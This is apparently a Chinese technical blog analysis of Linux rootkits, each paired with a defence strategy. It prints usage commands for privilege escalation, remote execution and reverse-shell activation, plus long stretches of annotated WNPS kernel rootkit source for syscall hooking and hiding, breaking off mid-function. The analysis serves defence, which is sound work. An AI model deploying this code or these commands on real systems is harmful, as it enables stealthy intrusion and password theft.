目錄
1. 引言 2. LRK5 Rootkit 3. knark Rootkit 3. Suckit(super user control kit) 4. adore-ng 5. WNPS 6. Sample Rootkit for Linux 7. suterusu 8. Rootkit Defense Tools 9. Linux Rootkit Scanner: kjackal
1. 引言
This paper attempts to analyze the characteristics from the attacker's point of view about the currentopen source rootkit key technology, hope can find common features of rootkit damage andhidden, and developed a general strategy for rootkit defense and counter method
In simple terms, rootkit can be divided into the following categories
目前已經存在的rootkit攻擊思路
1. 后門程序使本地用戶取得root權限 1) 設置uid程序 黑客在一些文件系統理放一些設置uid腳本程序。無論何時它們只要執行這個程序它們就會成為root,關於uid權限標志位相關知識,請參閱另一篇文章 http://www.cnblogs.com/LittleHann/p/3862652.html 2) 系統木馬程序 黑客替換一些系統程序,如"login"程序。因此, 只要滿足一定的條件,那些程序就會給黑客最高權限 3) cron后門 黑客在cron增加或修改一些任務,在某個特定的時間程序運行,他們就可以獲得最高權限 2. 后門程序給遠程用戶以最高訪問權限 1) ".rhost"文件 ".rhosts"文件是用戶在linux/unix下用於建立雙機互信的配置文件。一旦"黑客帳號"被加入某個用戶的.rhosts文件里,任何人在任何地方都可以用這個賬號來登陸進來而不需要密碼 2) ssh認證密鑰 黑客把他自己的公共密鑰放到目標機器的ssh配置文件"authorized_keys"里, 他可以用該賬號來訪問機器而不需要密碼 3) bind shell 3.1) 黑客綁定一個shell到一個特定的tcp端口。任何人telnet這個端口都可以獲得交互的shell 3.2) 基於udp的后門通道 3.3) 未連接的tcp,即任意端口激活的(wnps)的后門rootkit 3.4) 基於icmp協議的隱蔽通道 4) 木馬服務程序 任何打開的服務都可以成為木馬來為遠程用戶提供訪問權限。例如: 4.1) 利用inetd服務在一個特定的端口來創建一個bind shell 4.2) 通過ssh守護進程提供訪問途徑 3. 隱藏文件 入侵者需要做如下事情: 1) 替換一些系統常用命令如"ls", "du", "fsck" 這可以通過重定向可執行文件技術達到,通過截獲sys_execve(),無論何時系統嘗試去執行"ls"程序的時候, 它都會被重定向到入侵者給定的其他程序。 2) 在底層方面,他們通過把硬盤里的一些區域標記為壞塊並把它的文件放在那里 3) 或者把一些文件放入引導塊里 4) read系統調用劫持 4. 隱藏進程 1) 替換"ps"、"top"程序 2) 修改/proc下的內核變量 3) 劫持read、getdents64系統調用,直接對指定進程進行過濾 5. 隱藏網絡連接狀態 1) 修改/proc/net 2) 對netfilter提供的回調點注冊過濾函數 6. 隱藏sniffer 1) 隱藏網絡接口的雜撥模式 通過替換劫持sys_ioctl()系統調用實現 7. 隱藏rootkit模塊本身 1) 隱藏lkm本身 一個優秀的lkm程序必須很好地隱藏它自己。系統里的lkm是用單向鏈表連接起來的, 為了隱藏lkm本身我們必須把它從鏈表中移走以至於lsmod這樣的命令不能把它顯示出來。 2) 隱藏符號表 通常的lkm中的函數將會被導出以至於其他模塊可以使用它。因為我們是入侵者, 所以隱藏這些符號是必須的。幸運的是, 有一個宏可以供我們使用:"EXPORT_NO_SYMBOLS"。 把這個宏放在lkm的最后可以防止任何符號的輸出
Relevant Link:
http://www.cnblogs.com/LittleHann/p/3870974.html http://staronmytop.blog.51cto.com/6366057/1119475 http://www.xfocus.net/articles/200104/159.html
2. LRK5 Rootkit
0x1: Installation && Usage
download sourcecode ./configure -n make all install
0x2: Features
通過替換用戶態(ring3)的指令文件(即/bin、/sbin、/usr/bin下的默認指令對應的可執行文件)來實現后門rootkit的目的,這是一種指令劫持的思路
lrk5進行的替換如下:
1. chfn 這個指令用來修改用戶的finger information(指紋信息),作為后門的chfn可以接收用戶輸入的password,從而進入rootkit模式 2. chsh 切換shell的指令,作為后門的chfn可以接收用戶輸入的password,從而進入rootkit模式 3. crontab 使用預設的"正常"的crontab(計划任務)給用戶看,從而將rootkit設置的后門啟動項隱藏起來 4. du 和ls作用類似,rootkit劫持后會隱藏rootkit相關文件,從而欺騙用戶 5. find find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression] 尋找指定文件的指令,rootkit劫持后會隱藏rootkit相關文件,從而欺騙用戶 6. ifconfig rootkit劫持后會隱藏"混雜模式"的標志位(混雜模式被rootkit用來進行網絡流量嗅探) 7. inetd 用戶后門訪問的遠程訪問服務器 8. killall rootkit劫持了原本的"殺進程kill、killall"指令之后,會在本地維護一份"ROOTKIT_PROCESS_FILE"列表,凡是在這個列表中的進程都禁止殺死,以此對抗系統管理員使用kill命令強行結束rootkit后門程序 9. login rootkit劫持了login程序之后,除了保證原本的正常用戶登錄過程,還允許rootkit種植者使用一種叫"萬能密碼"的機制,即只要用戶輸入的密碼是一個指定的"萬能密碼",則用戶可以以任何身份登錄任何用戶 10. ls 對指定文件列表中的文件進行隱藏 11. netstat 對當前網絡連接狀態進行修改、隱藏 1) type 0: hide uid 2) type 1: hide local address 3) type 2: hide remote address 4) type 3: hide local port 5) type 4: hide remote port 6) type 5: hide UNIX socket path example: 1) 0 500: Hides all connections by uid 500 2) 1 128.31: Hides all local connections from 128.31.X.X 3) 2 128.31.39.20: Hides all remote connections to 128.31.39.20 4) 3 8000: Hides all local connections from port 8000 5) 4 6667: Hides all remote connections to port 6667 6) 5 .term/socket: Hides all UNIX sockets including the path 12. passwd Local user->root. Enter your rootkit password instead of your old password. 13. ps 修改、隱藏執行進程 An example data file is as follows: 1) 0 0 Strips all processes running under root 2) 1 p0 Strips tty p0 3) 2 sniffer Strips all programs with the name sniffer 4) 3 hack Strips all programs with 'hack' in them,ie. proghack1, hack.scan, snhack etc. 14. sshd 可以實現鍵盤、密碼記錄的功能 15. syslogd 修改、隱藏某些日志信息
lrk5為每一種需要"劫持"的指令程序都編寫了一個對應的ELF程序,從這里可以看出,lrk5只是在進行指令的劫持和替換,屬於第一代rootkit,代碼量較多,隱蔽性較差
0x3: Defense Strategy
針對這種rootkit,可以很容易地通過對系統關鍵目錄建立"黃金基准hash庫",只要匹配到指定敏感目錄中的文件的hash值產生變化(即被修改和替換了),即表明當前系統遭受到了rootkit的攻擊
典型的如: tripwire
lrk5進行的替換如下:
Relevant Link:
http://packetstormsecurity.com/files/10533/lrk5.src.tar.gz.html https://github.com/eqmcc/rk/tree/master/lrk5
3. knark Rootkit
0x1: Installation && Usage
make
insmod knark
0x2: Features
Knark具有以下特性:
1. 隱藏或顯示文件或目錄 2. 隱藏TCP或UDP連接 3. 程序執行重定向 4. 非授權地用戶權限增加("rootme") 5. 改變一個運行進程的UID/GID的工具 6. 非授權地、特權程序遠程執行守護進程(后門端口) 7. Kill –31: 隱藏運行的進程 8. 調用表修改: rootkit通過修改導出的系統調用表,對與攻擊行為相關的系統調用進行替換,隱藏攻擊者的行蹤
該軟件包的核心軟件是knark.c,它是一個Linux LKM(loadable kernel-module)
當knark被加載,隱藏目錄/proc/knark被創建,該目錄下將包含以下文件:
1. author: 作者自我介紹 2. files: 系統中隱藏文件列表 3. nethides 在/proc/net/[tcp udp]隱藏的字符串 4. pids: 被隱藏的pids列表,格式類似於ps命令輸出 5. redirects: 被重定向的可執行程序入口列表
該軟件包編譯以后將有下面這些工具軟件(它們都依賴於被加載的模塊knark.o)
1. hidef: 用於在系統中隱藏文件 在/usr/lib目錄下創建子目錄hax0r,然后運行命令"./hidef /usr/lib/.hax0r",則該目錄會被隱藏,"ls"或"du"等命令都不能顯示該目錄及其子目錄 2. unhidef: 用來恢復被隱藏的文件 1) 可以通過訪問"cat /proc/knark/files"來察看你隱藏了哪些文件 2) 通過"./unhidef /usr/lib/.hax0r"命令來解除對隱藏文件的隱藏 3. ered: 用來配置重定向程序的執行(進程劫持) 拷貝特洛伊木馬版本的sshd為/usr/lib/.hax0r/sshd_trojan,然后運行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",這樣當/usr/local/sbin/sshd被運行時,實際上運行的特洛伊木馬版本的
sshd。可以通過命令./ered -c來清楚所有的可執行程序重定向 4. nethide: 用來隱藏/proc/net/tcp和/proc/net/udp中的某些字符串 netstat命令就不會得到指定的鏈接信息。通過命令/nethide ":ABCD "可以隱藏和端口號ABCD(十六進制)相關的連接(43981 dec)。也就是對/proc/net/[tcp udp]讀取時進行"grep -v"操作。 要理解knark這個功能的作用,我們需要理解使用該程序從/proc/net/[tcp udp]得到的輸出的意義 1) 假設系統運行有sshd,那么連接到本地22端口以后,運行"netstat -at",則輸出可能包含: Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED 2) 現在我們來檢測文件/proc/net/tcp: cat /proc/net/tcp 則輸出可能包含入下內容: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 17573 1 f4a4a540 99 0 0 10 -1 3) 若我們希望隱藏和地址127.0.0.1相關的任何信息,我們必須使用如上面所示的十六進制的格式。因此如果希望隱藏地址127.0.0.1的22號端口相關的內容就要使用0100007F:0016來標識該鏈接。
因此"./nethide "0100007F:0016"將隱藏to/from localhost:22相關的鏈接信息 5. rootme: 用來實現非特權用戶獲得root訪問權限 1) "./rootme /bin/sh" 實現以root身份運行/bin/sh 2) "./rootme /bin/ls -l /root" 僅僅以root身份運行單個命令。 6. taskhack: 用來改變某個運行着的進程的uid和gid ./taskhack -alluid=0 pid 該命令將進程pid的所有*uid's (uid, euid, suid, fsuid)為0(root) 7. rexec: 用來遠程執行knark-server的命令: ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 這命令將從www.microsoft.com:53發送一個偽裝的udp數據包到haxored.server.nu:53,來運行haxored.server.nu的命令"/bin/touch /LUDER" 入侵者入侵以后往往將knark的各種工具存放在/dev/某個子目錄下創建的隱藏子目錄,如/dev/.ida/.knard等等
0x3: Defense Strategy
knark rootkit屬於LKM層的rootkit,不容易通過普通方法發現和清除,建議使用的方法有
1. knarkfinder.c來發現Knark隱藏的進程 2. 以非特權用戶身份來運行Knark的一個軟件包如:rootme,看該用戶是否能獲得root權限。由於目前Knark目前沒有認證機制,因此任何系統被安裝了Knark任何一個本地用戶運行這個程序都能獲得root權限。 3. 使用kstat來檢測 4. 去除LKM機制 1) 創建和使用不支持可加載模塊的內核,也就是使用單塊內核。這樣knark就不能插入到內核中去了 2) 使用lcap實現系統啟動結束以后移除內核LKM功能,這樣可以防止入侵者加載模塊
Relevant Link:
http://packetstormsecurity.com/files/24853/knark-2.4.3.tgz.html http://netsecurity.51cto.com/art/200801/63989.htm http://netsecurity.51cto.com/art/200801/63989_1.htm http://netsecurity.51cto.com/art/200801/63989_2.htm http://antivirus.downloadatoz.com/5480,linux-rootkit-knark,removal-tips.html
3. Suckit(super user control kit)
0x1: Installation && Usage
make skconfig
輸入各種參數
make

0x2: Features
1. sk(suckit(super user control kit))后門服務端程序為靜態ELF文件,壓縮之后就幾十K的大小,這意味着suckit對目標系統占用的資源較少,相對不容易出現CPU飆高等性能異常現象 2. 通過對肉雞的任何開放的TCP端口發送特定數據就可以激活后門,端口復用 通過對肉雞的任何開放的TCP端口發送特定數據就可以激活后門回連到我們的客戶端,並且客戶端有自動掃描功能,它會自動掃描肉雞開放的端口並發送激活指令。特別在一些有防火牆的環境里,限制了回連的目標端口,我們還可以指定
特殊的回連端口來繞過防火牆,比如回連到80、443這種一般都開放的TCP端口 3. sk后門 SK后門有一個TTY Sniffer(即"鍵盤記錄"),不過它不但可以記錄控制台的操作,還可以記錄遠程連接的操作 它根據程序指定的關鍵字抓取TTY記錄,主要包括ssh、passwd、telnet、login等關鍵字。通過這個功能,我們可以很容易地抓到相關密碼而擴大戰果,特別是在Root密碼設置十分BT的時候,我們無法用John來暴力破解,TTY Log就
可以記錄到Root的密碼,甚至是其他Linux的Root密碼 3. sk采用動態隱藏的方式來隱藏指定的內容,包括 1) 文件 2) 進程 3) 網絡連接 當我們使用SK的客戶端登錄到肉雞之后,除了文件是根據prefix隱藏之外,其他的一切操作都是隱藏的。這個功能十分方便,只要我們使用SK的客戶端登錄之后,就可以放心地操作了,不需要擔心什么東西沒有隱藏而被管理員發現。相
比之下,adore-ng這類Rootkit就有點不人性化了,必須使用客戶端手動隱藏指定的進程、網絡和文件 4. sk可以感染系統的ELF文件達到自啟動的目的,也可以通過替換系統的init文件來實現自動啟動
相較於其他的LKM注入、劫持型的rootkit而言,SK並沒有修改系統調用跳轉表的內容,而是:
1. sk首先拷貝了系統調用表 2. 然后將拷貝的系統調用表按照入侵者的意圖進行修改成執行入侵者改寫的系統調用響應函數 3. 然后將system_call從舊的系統調用表上移開,指向新的系統調用表
Ps: 這種技術屬於早些年的"修改內核對象達到劫持systemcall系統調用"的技術,對於linux下的系統調用劫持,還有很多別的姿勢
http://www.cnblogs.com/LittleHann/p/3854977.html
0x3: Defense Strategy
SK是通過讀和寫kmem來控制系統的,kmem是一個字符設備文件,是計算機主存的一個影像。它可以用於測試甚至修改系統,通過禁止寫kmem可以從一定程度上防御sk rootkit
Relevant Link:
http://www.hacker.com.cn/uploadfile/2013/0416/20130416020443596.pdf
4. adore-ng
0x1: Installation && Usage
mv Makefile.2.6 Makefile make
0x2: Features
相比於其他使用LKM相關的rootkit技術,adore-ng rootkit並不修改系統調用層的內容,而是通過修改VFS(Virtual Filesystem Switch)層的具體處理函數,如替換VFS層的 file_ops等函數,來實現信息隱藏目的
1. adore-ng穩定性較好 2. adore-ng后門服務端程序可以根據具體環境進行動態編譯 3. 可以使用客戶端手動的去隱藏指定的進程、網絡和文件; 4. adore-ng可以可以通過插入或者替換系統模塊來實現自動啟動
0x3: Defense Strategy
對於adore-ng的rootkit攻防,我們可以學習到的是:
1. 有很多的rootkit defenser軟件會對系統調用進行安全性檢測,看是否被替換或者增加了可疑的系統調用模塊(LMK注入) 2. adore-ng不攔截系統調用,而是攔截具體文件系統的回調函數,因為本身文件系統(VFS)的回調函數就是動態注冊的,就是動態變化的,那么反黑軟件自然就不能簡單下結論說這個函數被黑掉了,因此這個rootkit能獲得更好的隱
蔽性
5. WNPS
0x1: Installation && Usage
wnps的安裝必須要注意的一個問題是linux內核版本的問題,這里建議使用red hat enterprise as4 kernel 2.6.9版本,太高版本在編譯wnps的時候可能會出現問題
make && make install
編譯完成后,要注意的是,我們的client和肉雞server使用的"tcp標志密碼"一定要一致,通過config.進行配置,這個"tcp標志密碼"用於附帶在tcp數據報中,用於激活肉雞端的shell開關,因此,本質上來說,wnps的使用應該分成兩步: 本地監聽一個端口等待肉雞反連、向肉雞發送密碼激活肉雞去反連、獲得shell
這兩步可以通過wnps提供的客戶端自動完成
/* 目標肉雞的ip是192.168.207.135 1. client會默認監聽本地8899(可配置) 2. client會自動輪詢從21端口開始向用戶指定的遠程肉雞建立連接(因此必須先建立tcp連接才能發送帶"tcp標志密碼"的tcp數據包) 3. 和肉雞建立好tcp連接之后,先肉雞發送帶"tcp標志密碼"的tcp數據包 4. 肉雞的wnps.o模塊因為注冊了netfilter的回調函數,當在tcp數據報中檢測到了關鍵字之后,會自動開啟shell,並進行內核級的反向連接 5. 后門建立成功 */ ./client -tcp 192.168.207.135
0x2: Features
Wnps(wnps is not poc shell)是一款運行在Linux 2.6.x平台的rootkit+backdoor程序
1. 隱藏 1) 隱藏指定文件 2) 隱藏文件中"特定的內容" 3) 隱藏進程 4) "動態隱藏"網絡連接、進程(類似sk的動態隱藏技術) 5) 隱藏自身模塊 6) 保護相關模塊、進程、文件不被跟蹤 2. 密碼記錄(ssh, su, mysql, pop3, passwd etc) 3. 內核反彈后門(Backdoor功能) 1) 正向連接后門 2) 定時回連后門 回連部分可以穩定的與客戶端進行通訊,上線方式為HTTP、或DNS 3) 置定時自動回連 4. 穩定性和通用性: 1) 兼容性 wnps能在2.6.0-2.6.24之間的x86,amd平台下穩定運行,跨平台簡易安裝拿着一個wnps.ko就可以管理所有2.6內核的機器,所有要做的事情只是執行insmod wnps.ko 2) 模塊注射 比adore-ng更穩定的模塊注射方式 5. 通訊加密 6. 開機可以自動運行 7. 客戶端是一個可交互的控制台界面, 能控制多台主機
0x3: Code Analysis
這里以xfocus上的beta版wnps為樣本進行分析
hook.h
#ifndef HOOK_H #define HOOK_H #define PROC_HOME "/proc/kallsyms" #define SYSENTER_ENTRY "sysenter_entry" #define BUFF 100 #define READ_NUM 256 #define ORIG_EXIT 19 #define DIRECALL 42 #define SALTO 5 #define SKILL 49 #define SGETDENTS64 57 #define SREAD 65 #define DAFTER_CALL 70 #define DNRSYSCALLS 10 #define ASMIDType( valor ) \ __asm__ ( valor ); #define JmPushRet( valor ) \ ASMIDType \ ( \ "push %0 \n" \ "ret \n" \ \ : : "m" (valor) \ ); #define CallHookedSyscall( valor ) \ ASMIDType( "call *%0" : : "r" (valor) ); struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; atomic_t read_activo; spinlock_t wnps_lock = SPIN_LOCK_UNLOCKED; unsigned int system_call_addr; void *sys_call_table_addr; void **sys_call_table; void *sysenter_entry; unsigned long dire_call,dire_exit,after_call; int errno; #endif
hook.c
/* * WNPS V 0.26 beta2 *Wnps is not poc shell* * * Linux rootkit for x86 2.6.x kernel * */ #ifndef __KERNEL__ #define __KERNEL__ #endif #ifndef MODULE #define MODULE #endif #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/types.h> #include <linux/stddef.h> #include <linux/unistd.h> #include <linux/module.h> #include <linux/version.h> #include <linux/kernel.h> #include <linux/string.h> #include <linux/mm.h> #include <linux/slab.h> #include <linux/sched.h> #include <linux/in.h> #include <linux/skbuff.h> #include <linux/netdevice.h> #include <linux/file.h> #include <linux/proc_fs.h> #include <linux/namei.h> #include <linux/dirent.h> #include <linux/kobject.h> #include <linux/ip.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/list.h> #include <linux/ptrace.h> #include <linux/spinlock.h> #include <linux/tty.h> #include <linux/tty_driver.h> #include <linux/timer.h> #include <linux/jiffies.h> #include <net/tcp.h> #include <asm/processor.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include "config.h" #include "hook.h" #include "syscalls.h" #include "host.h" static inline my_syscall0(pid_t, fork); asmlinkage long (*orig_getdents64)(unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage ssize_t (*orig_read)(int fd, void *buf, size_t nbytes); //asmlinkage ssize_t (*orig_write)(int fd,void *buf,size_t count); int (*old_tcp4_seq_show)(struct seq_file *,void *); asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes); asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count); asmlinkage long Sys_chdir(const char __user *filename); asmlinkage int Sys_kill(pid_t pid,int sig); asmlinkage long Sys_ptrace(long request,long pid,long addr,long data); /* * function in shell.c */ extern unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)); extern int netfilter_test_init(void); extern void netfilter_test_exit(void); extern int kshell(int ip,int port); extern __u32 wnps_in_aton(const char *str); extern struct nf_hook_ops nfho; extern unsigned long myowner_port; extern unsigned long myowner_ip; extern unsigned int wztshell; extern char connect_ip[20]; /* * function in klogger.c */ extern void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count); extern void (*old_receive_buf)(struct tty_struct *,const unsigned char *,char *,int); int hook_init(void); static char read_buf[BUFF]; unsigned long sysenter; /* static struct timer_list my_timer; new_idt是用來進行系統調用中斷劫持的idt跳轉例程 */ void new_idt(void) { ASMIDType ( "cmp %0, %%eax \n" "jae syscallmala \n" "jmp hook \n" "syscallmala: \n" "jmp dire_exit \n" : : "i" (NR_syscalls) ); } /* set_idt_handler: 劫持指定的中斷例程(即劫持idt中的某個元素) 這里傳入的是system_call,即劫持系統調用這個idt中斷例程 */ void set_idt_handler(void *system_call) { unsigned char *p; unsigned long *p2; p = (unsigned char *) system_call; while (!((*p == 0x0f) && (*(p+1) == 0x83))) { p++; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; while (!((*p == 0x0f) && (*(p+1) == 0x82))) { p++; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; } /* sysenter屬於系統調用中的一個調用(它有自己的調用號) set_sysenter_handler()負責劫持sysenter(快速系統調用) */ void set_sysenter_handler(void *sysenter) { unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; } while (!((*p == 0x0f) && (*(p+1) == 0x83))) { p--; } p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2; *p = 0xc3; } void hook(void) { register int eax asm("eax"); /* 根據傳入的系統調用號執行指定的hooked函數 */ switch(eax) { case __NR_getdents64: CallHookedSyscall(Sys_getdents64); break; case __NR_read: CallHookedSyscall(Sys_read); break; /* case __NR_write: CallHookedSyscall(Sys_write); break; */ default: JmPushRet(dire_call); break; } JmPushRet( after_call ); } /** * read_kallsyms - find sysenter(快速系統調用) address in /proc/kallsyms. * * success return the sysenter address,failed return 0. */ int read_kallsyms(void) { mm_segment_t old_fs; ssize_t bytes; struct file *file = NULL; char *p,temp[20]; int i = 0; file = filp_open(PROC_HOME,O_RDONLY,0); if (!file) { return -1; } if (!file->f_op->read) { return -1; } old_fs = get_fs(); set_fs(get_ds()); while((bytes = file->f_op->read(file,read_buf,BUFF,&file->f_pos))) { if (( p = strstr(read_buf,SYSENTER_ENTRY)) != NULL) { while (*p--) { if (*p == '\n') { break; } } while (*p++ != ' ') { temp[i++] = *p; } temp[--i] = '\0'; sysenter = simple_strtoul(temp,NULL,16); #if DEBUG == 1 printk("0x%8x\n",sysenter); #endif break; } } filp_close(file,NULL); return 0; } /* 通過/proc/kallsyms獲得sysenter的地址 */ void *get_sysenter_entry(void) { void *psysenter_entry = NULL; unsigned long v2; if (boot_cpu_has(X86_FEATURE_SEP)) { rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2); } else { #if DEBUG == 1 printk("[+] serach sysenter_entry..."); #endif /* 通過/proc/kallsyms獲得sysenter的地址 */ read_kallsyms(); if (sysenter == 0) { #if DEBUG == 1 printk("[-] Wnps installed failed.\n"); #endif } return ((void *) sysenter); } return(psysenter_entry); } /* 搜索sys_call_table的地址 這里采用的是內存匯編代碼暴力搜索的思路,因為syscall()系統調用對應的匯編代碼是: 0x008514ff */ void *get_sct_addr(unsigned int system_call) { unsigned char *p; unsigned long s_c_t; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; } dire_call = (unsigned long) p; p += 3; s_c_t = *((unsigned long *) p); p += 4; after_call = (unsigned long) p; while (*p != 0xfa) /* cli */ p++; dire_exit = (unsigned long) p; return((void *) s_c_t); } /* Sys_getdents64調用劫持實現進程的隱藏 對於linux系統,可以獲得當前進程的指令有: 1. ll /proc 2. ps 3. top 這些系統指令到了內核系統調用這個層面,全都需要通過"getdents64"這個系統調用進行實現 wnps在對getdents64進行劫持的函數中,對指定進程信息進行了過濾,從而獲得到了比簡單修改/proc更好的效果 */ asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long hpid, nwarm; short int hide_process, hide_file; /* first we get the orig information */ ret = (*orig_getdents64) (fd, dirp, count); if (!ret) { return ret; } /* get some space in kernel */ td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); if (!td2) { return ret; } /* copy the dirp struct to kernel space */ __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; hide_file = 1; hide_process = 0; hpid = 0; hpid = simple_strtoul(td1->d_name, NULL, 10); /* If we got a file like digital,it may be a task in the /proc. So check the task with the task pid. */ if (hpid != 0) { struct task_struct *htask = current; do { if(htask->pid == hpid) { break; } else { htask = next_task(htask); } } while (htask != current); /* we get the task which will be hide */ if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL))) { hide_process = 1; } } if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) { ret -= td1->d_reclen; hide_file = 0; /* we cover the task information */ if (tmp) { memmove(td1, (char *) td1 + td1->d_reclen, tmp); } } /* we hide the file */ if ((tmp) && (hide_file)) { td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } } nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return ret; } /* Sys_read是我們的hook函數,實現對read系統調用的劫持 在這個hooded_read系統調用中,我們實現了kernel space的soclet反向連接,大致流程如下 if(wztshell == 1) { //wztshell==1表明當前rootkit的shell已經被激活(已經通過netfilter過濾機制接收到了指令段發送的激活指令) 從肉雞端主動向遠程主控方建立tcp socket連接 } */ asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes) { ssize_t ret; /* we will start a shell */ if (wztshell == 1) { #if DEBUG == 1 printk(KERN_ALERT "[+] got my owner's packet.\n"); #endif wztshell = 0; if (!fork()) { kshell(myowner_ip,myowner_port); } } /* 在劫持函數的最后要繼續執行原本系統調用的功能,保證系統運行的正常 */ ret = orig_read(fd,buf,nbytes); return ret; } /* asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count) { char *replace = " "; char *tmp_buf,*p; tmp_buf = (char *)kmalloc(READ_NUM,GFP_KERNEL); if (tmp_buf == NULL) return orig_write(fd,buf,count); copy_from_user(tmp_buf,buf,READ_NUM - 1); if (connect_ip[0] != 0 || connect_ip[0] != '\0') { if ((p = strstr(tmp_buf,connect_ip)) != NULL) { // spin_lock(&wnps_lock); strncpy(p,replace,strlen(replace)); // spin_unlock(&wnps_lock); copy_to_user((void *)buf,(void *)tmp_buf,READ_NUM); kfree(tmp_buf); return count; } } kfree(tmp_buf); return orig_write(fd,buf,count); } */ char *strnstr(const char *haystack,const char *needle,size_t n) { char *s = strstr(haystack,needle); if (s == NULL) { return NULL; } if (s - haystack + strlen(needle) <= n) { return s; } else { return NULL; } } int hacked_tcp4_seq_show(struct seq_file *seq, void *v) { int retval = old_tcp4_seq_show(seq, v); char port[12]; sprintf(port,"%04X",ntohs(myowner_port)); /* 過濾(屏蔽)掉指定的tcp連接狀態 */ if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ) { seq->count -= TMPSZ; } return retval; } /* hook.o模塊入口初始化函數 */ int wnps_init(void) { /* struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; */ struct descriptor_idt *pIdt80; /* 指向當前模塊的指針 在module.h 中 THIS_MODULE的定義如下: extern struct module __this_module; #define THIS_MODULE (&__this_module) 即是保存了__this_module這個對象的地址,那這個__this_module在哪里定義呢?這就要從module的編譯說起啦,如果編譯過模塊就會發現,會生成*.mod.c這樣的一個文件,打開這個文件,就會發現,類似下面的定義: struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif }; http://www.cnblogs.com/ziziwu/archive/2012/07/06/2578283.html */ struct module *m = &__this_module; /* include/net/tcp.h struct tcp_seq_afinfo { char *name; sa_family_t family; const struct file_operations *seq_fops; struct seq_operations seq_ops; }; */ struct tcp_seq_afinfo *my_afinfo = NULL; /* struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops; struct file_operations * proc_fops; get_info_t *get_info; struct module *owner; struct proc_dir_entry *next, *parent, *subdir; void *data; read_proc_t *read_proc; write_proc_t *write_proc; atomic_t count; int deleted; kdev_t rdev; }; proc_net->subdir用於獲取"linux虛擬通道/proc/net下的接口" 關於/proc請參閱另一篇文章 http://www.cnblogs.com/LittleHann/p/3883713.html */ struct proc_dir_entry *my_dir_entry = proc_net->subdir; if (m->init == wnps_init) { list_del(&m->list); } #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,11) kobject_unregister(&m->mkobj.kobj); #elif LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,8) kobject_unregister(&m->mkobj->kobj); #endif __asm__ volatile ("sidt %0": "=m" (idt48)); /* idt表是一個"8字節"長度的元素數據 idt48.base + 8*0x80: 系統調用對應的中斷號是0x80 */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); /* 系統調用例程的基地址 */ system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 這是一種很好的調試編碼方式,將需要調試的開關用宏來控制,可以很方便的在內核編程的時候進行printk調試 */ #if DEBUG == 1 printk(KERN_ALERT "[+] system_call addr : 0x%8x\n",system_call_addr); #endif /* 搜索sys_call_table的地址 */ sys_call_table_addr = get_sct_addr(system_call_addr); #if DEBUG == 1 printk(KERN_ALERT "[+] sys_call_table addr : 0x%8x\n",(unsigned int)sys_call_table_addr); #endif sys_call_table = (void **)sys_call_table_addr; /* 獲取sysenter的入口地址 */ sysenter_entry = get_sysenter_entry(); wztshell = 0; atomic_set(&read_activo,0); /* 因為我們需要劫持read這個系統調用,所以在hook前需要保存原始的函數地址 read這個系統調用和文件、目錄、設備的讀寫有關,我們要進行rootkit的隱藏工作,這個系統調用的hook是必不可少的 */ orig_read = sys_call_table[__NR_read]; //orig_write = sys_call_table[__NR_write]; /* getdents64這個系統調用涉及到目錄、文件的枚舉(例如ls命令) 